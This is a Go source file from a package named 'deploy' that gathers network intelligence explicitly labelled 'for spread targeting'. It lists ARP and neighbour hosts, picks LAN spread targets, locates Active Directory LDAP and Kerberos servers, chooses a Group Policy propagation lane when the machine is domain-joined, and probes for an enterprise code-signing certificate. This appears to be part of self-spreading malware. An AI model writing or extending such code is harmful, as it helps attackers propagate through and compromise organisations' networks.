151 lines
4.1 KiB
Go
151 lines
4.1 KiB
Go
package deploy
|
|
|
|
import (
|
|
"net"
|
|
"os"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
const (
|
|
// MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads.
|
|
MaxMulticastNameHosts = 32
|
|
)
|
|
|
|
// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS).
|
|
type NameHost struct {
|
|
Name string `json:"name"`
|
|
IP string `json:"ip,omitempty"`
|
|
}
|
|
|
|
// NetworkHints summarizes passive LAN/domain telemetry for spread targeting.
|
|
type NetworkHints struct {
|
|
GeneratedAt string `json:"generated_at"`
|
|
ArpHosts []string `json:"arp_hosts,omitempty"`
|
|
NeighborHosts []string `json:"neighbor_hosts,omitempty"`
|
|
SpreadTargets []string `json:"spread_targets,omitempty"`
|
|
SpreadTargetCount int `json:"spread_target_count,omitempty"`
|
|
DomainName string `json:"domain_name,omitempty"`
|
|
DomainJoined bool `json:"domain_joined,omitempty"`
|
|
LdapSRV []string `json:"ldap_srv,omitempty"`
|
|
KerberosSRV []string `json:"kerberos_srv,omitempty"`
|
|
PreferJoinLane string `json:"prefer_join_lane,omitempty"`
|
|
EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"`
|
|
CodeSignSubject string `json:"code_sign_subject,omitempty"`
|
|
LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"`
|
|
MDNSHosts []NameHost `json:"mdns_hosts,omitempty"`
|
|
MulticastNameCount int `json:"multicast_name_count,omitempty"`
|
|
}
|
|
|
|
// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache).
|
|
func CollectNetworkHints(maxHosts int) NetworkHints {
|
|
if maxHosts <= 0 {
|
|
maxHosts = 64
|
|
}
|
|
if maxHosts > MaxSubnetScanHosts {
|
|
maxHosts = MaxSubnetScanHosts
|
|
}
|
|
|
|
arp := arpHosts()
|
|
neighbors := neighborHosts()
|
|
targets := DiscoverLANSpreadTargets(maxHosts)
|
|
|
|
hints := NetworkHints{
|
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
|
ArpHosts: capStrings(arp, maxHosts),
|
|
NeighborHosts: capStrings(neighbors, maxHosts),
|
|
SpreadTargets: targets,
|
|
SpreadTargetCount: len(targets),
|
|
}
|
|
|
|
domain := discoverADDomain()
|
|
hints.DomainName = domain
|
|
ldap, krb, joined := probeDomainSRV(domain)
|
|
hints.LdapSRV = ldap
|
|
hints.KerberosSRV = krb
|
|
hints.DomainJoined = joined
|
|
if joined {
|
|
hints.PreferJoinLane = "gpo"
|
|
}
|
|
|
|
if present, subject := probeEnterpriseCodeSignCert(); present {
|
|
hints.EnterpriseCodeSignCert = true
|
|
hints.CodeSignSubject = subject
|
|
}
|
|
|
|
llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts)
|
|
hints.LLMNRHosts = llmnr
|
|
hints.MDNSHosts = mdns
|
|
hints.MulticastNameCount = len(llmnr) + len(mdns)
|
|
|
|
return hints
|
|
}
|
|
|
|
func capStrings(in []string, max int) []string {
|
|
if max <= 0 || len(in) == 0 {
|
|
return nil
|
|
}
|
|
if len(in) > max {
|
|
in = in[:max]
|
|
}
|
|
out := make([]string, len(in))
|
|
copy(out, in)
|
|
return out
|
|
}
|
|
|
|
func mergeUniqueIPv4(sets ...[]string) []string {
|
|
seen := make(map[string]bool)
|
|
var out []string
|
|
for _, set := range sets {
|
|
for _, host := range set {
|
|
host = strings.TrimSpace(host)
|
|
if host == "" || seen[host] {
|
|
continue
|
|
}
|
|
ip := net.ParseIP(host)
|
|
if ip == nil || ip.To4() == nil {
|
|
continue
|
|
}
|
|
seen[host] = true
|
|
out = append(out, ip.To4().String())
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func discoverADDomain() string {
|
|
if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" {
|
|
return strings.ToLower(d)
|
|
}
|
|
return discoverADDomainPlatform()
|
|
}
|
|
|
|
func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) {
|
|
domain = strings.ToLower(strings.TrimSpace(domain))
|
|
if domain == "" {
|
|
return nil, nil, false
|
|
}
|
|
ldap = lookupSRVHosts("_ldap._tcp." + domain)
|
|
kerberos = lookupSRVHosts("_kerberos._tcp." + domain)
|
|
joined = len(ldap) > 0 || len(kerberos) > 0
|
|
return ldap, kerberos, joined
|
|
}
|
|
|
|
func lookupSRVHosts(name string) []string {
|
|
_, addrs, err := net.LookupSRV("", "", name)
|
|
if err != nil || len(addrs) == 0 {
|
|
return nil
|
|
}
|
|
seen := make(map[string]bool)
|
|
var hosts []string
|
|
for _, a := range addrs {
|
|
target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".")
|
|
if target == "" || seen[target] {
|
|
continue
|
|
}
|
|
seen[target] = true
|
|
hosts = append(hosts, target)
|
|
}
|
|
return hosts
|
|
}
|